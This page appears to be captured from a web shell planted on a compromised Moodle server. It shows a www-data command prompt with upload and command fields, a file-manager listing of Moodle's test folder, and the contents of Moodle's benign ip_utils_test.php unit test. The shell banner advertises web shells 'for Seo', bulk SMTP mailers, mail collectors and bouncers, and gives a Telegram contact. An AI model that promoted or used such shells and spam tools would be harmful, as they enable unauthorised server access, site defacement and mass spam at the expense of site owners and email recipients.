__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core;

/**
 * This tests the static helper functions contained in the class '\core\ip_utils'.
 *
 * @package    core
 * @covers     \core\ip_utils
 * @copyright  2016 Jake Dallimore <jrhdallimore@gmail.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class ip_utils_test extends \basic_testcase {
    /**
     * Test for \core\ip_utils::is_domain_name().
     *
     * @param string $domainname the domain name to validate.
     * @param bool $expected the expected result.
     * @dataProvider domain_name_data_provider
     */
    public function test_is_domain_name($domainname, $expected): void {
        $this->assertEquals($expected, \core\ip_utils::is_domain_name($domainname));
    }

    /**
     * Data provider for test_is_domain_name().
     *
     * @return array
     */
    public static function domain_name_data_provider(): array {
        return [
            ["com", true],
            ["i.net", true], // Single char, alpha tertiary domain.
            ["0.org", true], // Single char, non-alpha tertiary domain.
            ["0.a", true], // Single char, alpha top level domain.
            ["0.1", false], // Single char, non-alpha top level domain.
            ["example.com", true],
            ["sub.example.com", true],
            ["sub-domain.example-domain.net", true],
            ["123.com", true],
            ["123.a11", true],
            [str_repeat('sub.', 60) . "1-example.com", true], // Max length without null label is 253 octets = 253 ascii chars.
            [str_repeat('example', 9) . ".com", true], // Max number of octets per label is 63  = 63 ascii chars.
            ["localhost", true],
            [" example.com", false],
            ["example.com ", false],
            ["example.com/", false],
            ["*.example.com", false],
            ["*example.com", false],
            ["example.123", false],
            ["-example.com", false],
            ["example-.com", false],
            [".example.com", false],
            ["127.0.0.1", false],
            [str_repeat('sub.', 60) . "11-example.com", false], // Name length is 254 chars, which exceeds the max allowed.
            [str_repeat('example', 9) . "1.com", false], // Label length is 64 chars, which exceed the max allowed.
            ["example.com.", true], // Null label explicitly provided - this is valid.
            [".example.com.", false],
            ["見.香港", false], // IDNs are invalid.
            [null, false], // Non-strings are invalid.
        ];
    }

    /**
     * Test for \core\ip_utils::is_domain_matching_pattern().
     *
     * @param string $str the string to evaluate.
     * @param bool $expected the expected result.
     * @dataProvider domain_matching_patterns_data_provider
     */
    public function test_is_domain_matching_pattern($str, $expected): void {
        $this->assertEquals($expected, \core\ip_utils::is_domain_matching_pattern($str));
    }

    /**
     * Data provider for test_is_domain_matching_pattern().
     *
     * @return array
     */
    public static function domain_matching_patterns_data_provider(): array {
        return [
            ["*.com", true],
            ["*.example.com", true],
            ["*.example.com", true],
            ["*.sub.example.com", true],
            ["*.sub-domain.example-domain.com", true],
            ["*." . str_repeat('sub.', 60) . "example.com", true], // Max number of domain name chars = 253.
            ["*." . str_repeat('example', 9) . ".com", true], // Max number of domain name label chars = 63.
            ["*com", false],
            ["*example.com", false],
            [" *.example.com", false],
            ["*.example.com ", false],
            ["*-example.com", false],
            ["*.-example.com", false],
            ["*.example.com/", false],
            ["sub.*.example.com", false],
            ["sub.*example.com", false],
            ["*.*.example.com", false],
            ["example.com", false],
            ["*." . str_repeat('sub.', 60) . "1example.com", false], // Name length is 254 chars, which exceeds the max allowed.
            ["*." . str_repeat('example', 9) . "1.com", false], // Label length is 64 chars, which exceed the max allowed.
            ["*.example.com.", true], // Null label explicitly provided - this is valid.
            [".*.example.com.", false],
            ["*.香港", false], // IDNs are invalid.
            [null, false], // None-strings are invalid.
        ];
    }

    /**
     * Test for \core\ip_utils::is_ip_address().
     *
     * @param string $address the address to validate.
     * @param bool $expected the expected result.
     * @dataProvider ip_address_data_provider
     */
    public function test_is_ip_address($address, $expected): void {
        $this->assertEquals($expected, \core\ip_utils::is_ip_address($address));
    }

    /**
     * Data provider for test_is_ip_address().
     *
     * @return array
     */
    public static function ip_address_data_provider(): array {
        return [
            ["127.0.0.1", true],
            ["10.1", false],
            ["0.0.0.0", true],
            ["255.255.255.255", true],
            ["256.0.0.1", false],
            ["256.0.0.1", false],
            ["127.0.0.0/24", false],
            ["127.0.0.0-255", false],
            ["::", true],
            ["::0", true],
            ["0::", true],
            ["0::0", true],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80", true],
            ["fe80::ffff", true],
            ["fe80::f", true],
            ["fe80::", true],
            ["0", false],
            ["127.0.0.0/24", false],
            ["fe80::fe80/128", false],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80/128", false],
            ["fe80:", false],
            ["fe80:: ", false],
            [" fe80::", false],
            ["fe80::ddddd", false],
            ["fe80::gggg", false],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80", false],
        ];
    }

    /**
     * Test for \core\ip_utils::is_ipv4_address().
     *
     * @param string $address the address to validate.
     * @param bool $expected the expected result.
     * @dataProvider ipv4_address_data_provider
     */
    public function test_is_ipv4_address($address, $expected): void {
        $this->assertEquals($expected, \core\ip_utils::is_ipv4_address($address));
    }

    /**
     * Data provider for test_is_ipv4_address().
     *
     * @return array
     */
    public static function ipv4_address_data_provider(): array {
        return [
            ["127.0.0.1", true],
            ["0.0.0.0", true],
            ["255.255.255.255", true],
            [" 127.0.0.1", false],
            ["127.0.0.1 ", false],
            ["-127.0.0.1", false],
            ["127.0.1", false],
            ["127.0.0.0.1", false],
            ["a.b.c.d", false],
            ["localhost", false],
            ["fe80::1", false],
            ["256.0.0.1", false],
            ["256.0.0.1", false],
            ["127.0.0.0/24", false],
            ["127.0.0.0-255", false],
        ];
    }

    /**
     * Test for \core\ip_utils::is_ipv4_range().
     *
     * @param string $addressrange the address range to validate.
     * @param bool $expected the expected result.
     * @dataProvider ipv4_range_data_provider
     */
    public function test_is_ipv4_range($addressrange, $expected): void {
        $this->assertEquals($expected, \core\ip_utils::is_ipv4_range($addressrange));
    }

    /**
     * Data provider for test_is_ipv4_range().
     *
     * @return array
     */
    public static function ipv4_range_data_provider(): array {
        return [
            ["127.0.0.1/24", true],
            ["127.0.0.20-20", true],
            ["127.0.0.20-50", true],
            ["127.0.0.0-255", true],
            ["127.0.0.1-1", true],
            ["255.255.255.0-255", true],
            ["127.0.0.1", false],
            ["127.0", false],
            [" 127.0.0.0/24", false],
            ["127.0.0.0/24 ", false],
            ["a.b.c.d/24", false],
            ["256.0.0.0-80", false],
            ["127.0.0.0/a", false],
            ["256.0.0.0/24", false],
            ["127.0.0.0/-1", false],
            ["127.0.0.0/33", false],
            ["127.0.0.0-127.0.0.10", false],
            ["127.0.0.30-20", false],
            ["127.0.0.0-256", false],
            ["fe80::fe80/64", false],
        ];
    }

    /**
     * Test for \core\ip_utils::is_ipv6_address().
     *
     * @param string $address the address to validate.
     * @param bool $expected the expected result.
     * @dataProvider ipv6_address_data_provider
     */
    public function test_is_ipv6_address($address, $expected): void {
        $this->assertEquals($expected, \core\ip_utils::is_ipv6_address($address));
    }

    /**
     * Data provider for test_is_ipv6_address().
     *
     * @return array
     */
    public static function ipv6_address_data_provider(): array {
        return [
            ["::", true],
            ["::0", true],
            ["0::", true],
            ["0::0", true],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80", true],
            ["fe80::ffff", true],
            ["fe80::f", true],
            ["fe80::", true],
            ["0", false],
            ["127.0.0.0", false],
            ["127.0.0.0/24", false],
            ["fe80::fe80/128", false],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80/128", false],
            ["fe80:", false],
            ["fe80:: ", false],
            [" fe80::", false],
            ["fe80::ddddd", false],
            ["fe80::gggg", false],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80", false],
        ];
    }

    /**
     * Test for \core\ip_utils::is_ipv6_range().
     *
     * @param string $addressrange the address range to validate.
     * @param bool $expected the expected result.
     * @dataProvider ipv6_range_data_provider
     */
    public function test_is_ipv6_range($addressrange, $expected): void {
        $this->assertEquals($expected, \core\ip_utils::is_ipv6_range($addressrange));
    }

    /**
     * Data provider for test_is_ipv6_range().
     *
     * @return array
     */
    public static function ipv6_range_data_provider(): array {
        return [
            ["::/128", true],
            ["::1/128", true],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80/128", true],
            ["fe80::dddd/128", true],
            ["fe80::/64", true],
            ["fe80::dddd-ffff", true],
            ["::0-ffff", true],
            ["::a-ffff", true],
            ["0", false],
            ["::1", false],
            ["fe80::fe80", false],
            ["::/128 ", false],
            [" ::/128", false],
            ["::/a", false],
            ["::/-1", false],
            ["fe80::fe80/129", false],
            ["fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80", false],
            ["fe80::bbbb-aaaa", false],
            ["fe80::0-fffg", false],
            ["fe80::0-fffff", false],
            ["fe80::0 - ffff", false],
            [" fe80::0-ffff", false],
            ["fe80::0-ffff ", false],
            ["192.0.0.0/24", false],
            ["fe80:::fe80/128", false],
            ["fe80:::aaaa-dddd", false],
        ];
    }

    /**
     * Test checking domains against a list of allowed domains.
     *
     * @param  bool $expected Expected result
     * @param  string $domain domain address
     * @dataProvider data_domain_addresses
     */
    public function test_check_domain_against_allowed_domains($expected, $domain): void {
        $alloweddomains = ['example.com',
                           '*.moodle.com',
                           '*.per.this.penny-arcade.com',
                           'bad.*.url.com',
                           ' trouble.com.au'];
        $this->assertEquals($expected, \core\ip_utils::is_domain_in_allowed_list($domain, $alloweddomains));
    }

    /**
     * Data provider for test_check_domain_against_allowed_domains.
     *
     * @return array
     */
    public static function data_domain_addresses(): array {
        return [
            [true, 'example.com'],
            [true, 'ExAmPle.com'],
            [false, 'sub.example.com'],
            [false, 'example.com.au'],
            [false, ' example.com'], // A space at the front of the domain is invalid.
            [false, 'example.123'], // Numbers at the end is invalid.
            [false, 'test.example.com'],
            [false, 'moodle.com'],
            [true, 'test.moodle.com'],
            [true, 'TeSt.moodle.com'],
            [true, 'test.MoOdLe.com'],
            [false, 'test.moodle.com.au'],
            [true, 'nice.address.per.this.penny-arcade.com'],
            [false, 'normal.per.this.penny-arcade.com.au'],
            [false, 'bad.thing.url.com'], // The allowed domain (above) has a bad wildcard and so this address will return false.
            [false, 'trouble.com.au'] // The allowed domain (above) has a space at the front and so will return false.
        ];
    }

    /**
     * Data provider for test_is_ip_in_subnet_list.
     *
     * @return array
     */
    public static function data_is_ip_in_subnet_list(): array {
        return [
            [true, '1.1.1.1', '1.1.1.1', "\n"],
            [false, '1.1.1.1', '2.2.2.2', "\n"],
            [true, '1.1.1.1', "1.1.1.5\n1.1.1.1", "\n"],
            [true, '1.1.1.1', "1.1.1.5,1.1.1.1", ","],
        ];
    }

    /**
     * Test checking ips against a list of allowed domains.
     *
     * @param  bool $expected Expected result
     * @param  string $ip IP address
     * @param  string $list list of  IP subnets
     * @param  string $delim delimiter of list
     * @dataProvider data_is_ip_in_subnet_list
     */
    public function test_is_ip_in_subnet_list($expected, $ip, $list, $delim): void {
        $this->assertEquals($expected, \core\ip_utils::is_ip_in_subnet_list($ip, $list, $delim));
    }

    /**
     * Data provider for test_normalize_internet_address.
     *
     * @return array
     */
    public static function normalize_internet_address_provider(): array {
        return [
            'Strip all white spaces on IP address' => [
                '   192.168.5.5  ',
                '192.168.5.5',
            ],
            'Strip all white spaces on domain name' => [
                ' www.moodle.org   ',
                'www.moodle.org',
            ],
            'Preserve IPv4 address' => [
                '127.0.0.1',
                '127.0.0.1',
            ],
            'Preserve IPv4 address range' => [
                '192.168.0.0/16',
                '192.168.0.0/16',
            ],
            'Preserve IPv6 address' => [
                'fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80',
                'fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80',
            ],
            'Preserve IPv6 address range' => [
                'fe80::ffff',
                'fe80::ffff',
            ],
            'Preserve valid domain' => [
                'localhost',
                'localhost',
            ],
            'Preserve valid FQDN' => [
                'www.moodle.org',
                'www.moodle.org',
            ],
            'Preserve valid FQDN with trailing dot' => [
                'www.moodle.com.',
                'www.moodle.com',
            ],
            'Preserve valid domain with wildcard' => [
                '*.moodledev.io',
                '*.moodledev.io',
            ],
            'Convert previous allowed "127." format to CIDR format (127.0.0.0/8)' => [
                '127.',
                '127.0.0.0/8',
            ],
            'Convert previous allowed "169.8." format to CIDR format (169.8.0.0/16)' => [
                '169.8.',
                '169.8.0.0/16',
            ],
            'Convert previous allowed "192.168.10." format to CIDR format (192.168.10.0/24)' => [
                '192.168.10.',
                '192.168.10.0/24',
            ],
            'Convert previous allowed ".moodle.org" subdomain format to new format (*.moodle.org)' => [
                '.moodle.org',
                '*.moodle.org',
            ],
            'Ignore invalid IPv4' => [
                '327.0.0.1',
                '',
            ],
            'Ignore invalid IPv4 range' => [
                '192.168',
                '',
            ],
            'Ignore invalid IPv6' => [
                'fe80::ddddd',
                '',
            ],
            'Ignore invalid IPv6 range' => [
                'fe80:',
                '',
            ],
            'Ignore invalid domain' => [
                '-example.com',
                '',
            ],
        ];
    }

    /**
     * Test if input address value is correctly normalized.
     *
     * @covers ::normalize_internet_address
     *
     * @dataProvider normalize_internet_address_provider
     *
     * @param string $input    Raw input value.
     * @param string $expected Expected value after normalization.
     */
    public function test_normalize_internet_address(string $input, string $expected): void {
        $this->assertEquals($expected, \core\ip_utils::normalize_internet_address($input));
    }

    /**
     * Data provider for test_normalize_internet_address_list.
     *
     * @return array
     */
    public static function normalize_internet_address_list_provider(): array {
        return [
            'Strip all white spaces' => [
                '   192.168.5.5, 127.0.0.1,    www.moodle.org   ',
                '192.168.5.5,127.0.0.1,www.moodle.org',
            ],
            'Trim input' => [
                '    192.168.5.5,127.0.0.1,www.moodle.org   ',
                '192.168.5.5,127.0.0.1,www.moodle.org',
            ],
            'Preserve valid full and partial IP' => [
                '127.0.0.1,192.168.0.0/16,fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80,fe80::ffff',
                '127.0.0.1,192.168.0.0/16,fe80:fe80:fe80:fe80:fe80:fe80:fe80:fe80,fe80::ffff',
            ],
            'Convert previous allowed format to new allowed format' => [
                '127.,169.8.,192.168.10.,.moodle.org',
                '127.0.0.0/8,169.8.0.0/16,192.168.10.0/24,*.moodle.org',
            ],
            'Preserve valid domain and pattern domain' => [
                'localhost,www.moodle.org,.moodle.com,*.moodledev.io',
                'localhost,www.moodle.org,*.moodle.com,*.moodledev.io',
            ],
            'Remove all invalid IP and domains' => [
                '327.0.0.1,192.168,fe80::ddddd,fe80:,-example.com',
                '',
            ],
            'Remove duplicate values' => [
                '.moodle.org,*.moodle.org,*.moodle.org,.moodle.org',
                '*.moodle.org',
            ],
        ];
    }

    /**
     * Test if input address list is correctly normalized.
     *
     * @covers ::normalize_internet_address_list
     *
     * @dataProvider normalize_internet_address_list_provider
     *
     * @param string $input    Raw input value.
     * @param string $expected Expected value after normalization.
     */
    public function test_normalize_internet_address_list(string $input, string $expected): void {
        $this->assertEquals($expected, \core\ip_utils::normalize_internet_address_list($input));
    }
}

Filemanager

Name Type Size Permission Actions
analytics Folder 0755
behat Folder 0755
classes Folder 0755
content Folder 0755
context Folder 0755
db Folder 0755
event Folder 0755
external Folder 0755
fixtures Folder 0755
hook Folder 0755
hub Folder 0755
lock Folder 0755
moodlenet Folder 0755
navigation Folder 0755
oauth2 Folder 0755
other Folder 0755
output Folder 0755
performance Folder 0755
plugininfo Folder 0755
privacy Folder 0755
route Folder 0755
router Folder 0755
session Folder 0755
task Folder 0755
accesslib_has_capability_test.php File 29.76 KB 0644
accesslib_test.php File 245.63 KB 0644
adminlib_test.php File 7.42 KB 0644
admintree_test.php File 18.08 KB 0644
ajaxlib_test.php File 4.45 KB 0644
analysers_test.php File 12.71 KB 0644
antivirus_test.php File 11.98 KB 0644
attribute_helper_test.php File 8.41 KB 0644
authlib_test.php File 22.97 KB 0644
behat_lib_test.php File 3.3 KB 0644
blocklib_test.php File 36.31 KB 0644
check_test.php File 2.31 KB 0644
client_test.php File 4.32 KB 0644
collator_test.php File 12.1 KB 0644
completionlib_test.php File 92.46 KB 0644
component_test.php File 49.28 KB 0644
componentlib_test.php File 6.93 KB 0644
configonlylib_test.php File 8.95 KB 0644
content_test.php File 4.79 KB 0644
context_block_test.php File 4.17 KB 0644
context_helper_test.php File 22.28 KB 0644
context_test.php File 3.42 KB 0644
core_media_player_native_test.php File 6.44 KB 0644
core_renderer_template_exploit_test.php File 16.54 KB 0644
core_renderer_test.php File 7.57 KB 0644
core_userfeedback_test.php File 2.3 KB 0644
coverage.php File 3.27 KB 0644
cron_test.php File 6.82 KB 0644
csvclass_test.php File 5.66 KB 0644
curl_security_helper_test.php File 14.88 KB 0644
customcontext_test.php File 4.67 KB 0644
dataformat_test.php File 4.18 KB 0644
datalib_test.php File 48.97 KB 0644
datalib_update_with_unique_index_test.php File 6.12 KB 0644
date_legacy_test.php File 13.67 KB 0644
date_test.php File 30.4 KB 0644
deprecation_test.php File 15.78 KB 0644
di_test.php File 5.33 KB 0644
editorlib_test.php File 1.96 KB 0644
emoticon_manager_test.php File 4.2 KB 0644
encryption_test.php File 9.48 KB 0644
environment_test.php File 9.12 KB 0644
exporter_test.php File 16.83 KB 0644
externallib_test.php File 2.03 KB 0644
filelib_test.php File 83.89 KB 0644
filestorage_zip_archive_test.php File 2.54 KB 0644
filetypes_test.php File 10.09 KB 0644
filter_manager_test.php File 3.33 KB 0644
filterlib_test.php File 37.09 KB 0644
formatting_test.php File 26.09 KB 0644
formslib_test.php File 40.1 KB 0644
gdlib_test.php File 5.73 KB 0644
googlelib_test.php File 1.62 KB 0644
gradelib_test.php File 12.01 KB 0644
grades_external_test.php File 11.22 KB 0644
grading_external_test.php File 26.55 KB 0644
graphlib_test.php File 7.14 KB 0644
grouplib_test.php File 110.79 KB 0644
h5p_clean_orphaned_records_task_test.php File 3.17 KB 0644
html2text_test.php File 8.82 KB 0644
htmlpurifier_test.php File 23.11 KB 0644
http_client_test.php File 14.67 KB 0644
ip_utils_test.php File 19.55 KB 0644
jquery_test.php File 1.59 KB 0644
ldaplib_test.php File 17.77 KB 0644
licenselib_test.php File 11.84 KB 0644
locale_test.php File 4.96 KB 0644
lock_config_test.php File 3.48 KB 0644
lock_test.php File 5.34 KB 0644
markdown_test.php File 2.27 KB 0644
mathslib_test.php File 13.51 KB 0644
medialib_test.php File 19.68 KB 0644
message_test.php File 16.43 KB 0644
messagelib_test.php File 56.44 KB 0644
minify_test.php File 3.15 KB 0644
modinfolib_test.php File 99.71 KB 0644
moodle_page_test.php File 34.62 KB 0644
moodlelib_current_language_test.php File 7.68 KB 0644
moodlelib_partial_test.php File 4.48 KB 0644
moodlelib_test.php File 239.56 KB 0644
myprofilelib_test.php File 12.2 KB 0644
navigationlib_test.php File 32.56 KB 0644
notification_test.php File 4.37 KB 0644
oauth2_test.php File 23.16 KB 0644
outputcomponents_test.php File 34.31 KB 0644
outputfactories_test.php File 6.83 KB 0644
outputrenderers_test.php File 1.63 KB 0644
outputrequirementslib_test.php File 15.72 KB 0644
param_test.php File 4.11 KB 0644
pdflib_test.php File 3.21 KB 0644
persistent_test.php File 30.68 KB 0644
phpxmlrpc_test.php File 2.05 KB 0644
plugin_manager_test.php File 31.47 KB 0644
portfoliolib_test.php File 8.41 KB 0644
progress_display_test.php File 3.76 KB 0644
progress_test.php File 14.53 KB 0644
qrcode_test.php File 1.69 KB 0644
questionlib_test.php File 108.63 KB 0644
regex_test.php File 1.56 KB 0644
report_helper_test.php File 7 KB 0644
requirejs_test.php File 2.23 KB 0644
router_test.php File 3.85 KB 0644
rsslib_test.php File 7.41 KB 0644
rtlcss_test.php File 57.07 KB 0644
sample_questions.ser File 141.76 KB 0644
sample_questions.xml File 102.62 KB 0644
sample_questions_with_old_image_tag.ser File 4.85 KB 0644
sample_questions_with_old_image_tag.xml File 4.08 KB 0644
sample_questions_wrong.xml File 102.57 KB 0644
scss_test.php File 4.31 KB 0644
session_redis_cluster_test.php File 4.17 KB 0644
sessionlib_test.php File 12.37 KB 0644
setuplib_test.php File 20.21 KB 0644
statslib_test.php File 26.82 KB 0644
stored_progress_bar_test.php File 7.17 KB 0644
string_manager_standard_test.php File 10.23 KB 0644
system_clock_test.php File 2.42 KB 0644
text_test.php File 26.68 KB 0644
theme_config_test.php File 7.25 KB 0644
update_api_test.php File 6.65 KB 0644
update_checker_test.php File 10.91 KB 0644
update_code_manager_test.php File 9.12 KB 0644
update_validator_test.php File 18.32 KB 0644
upgrade_util_test.php File 5.36 KB 0644
upgradelib_test.php File 75.43 KB 0644
url_test.php File 25.48 KB 0644
user_menu_test.php File 3.83 KB 0644
user_test.php File 42.3 KB 0644
useragent_test.php File 67.06 KB 0644
weblib_format_text_test.php File 14.21 KB 0644
weblib_test.php File 42.12 KB 0644
xhprof_test.php File 10.05 KB 0644
xmlize_test.php File 2.57 KB 0644
xsendfilelib_test.php File 5 KB 0644
Filemanager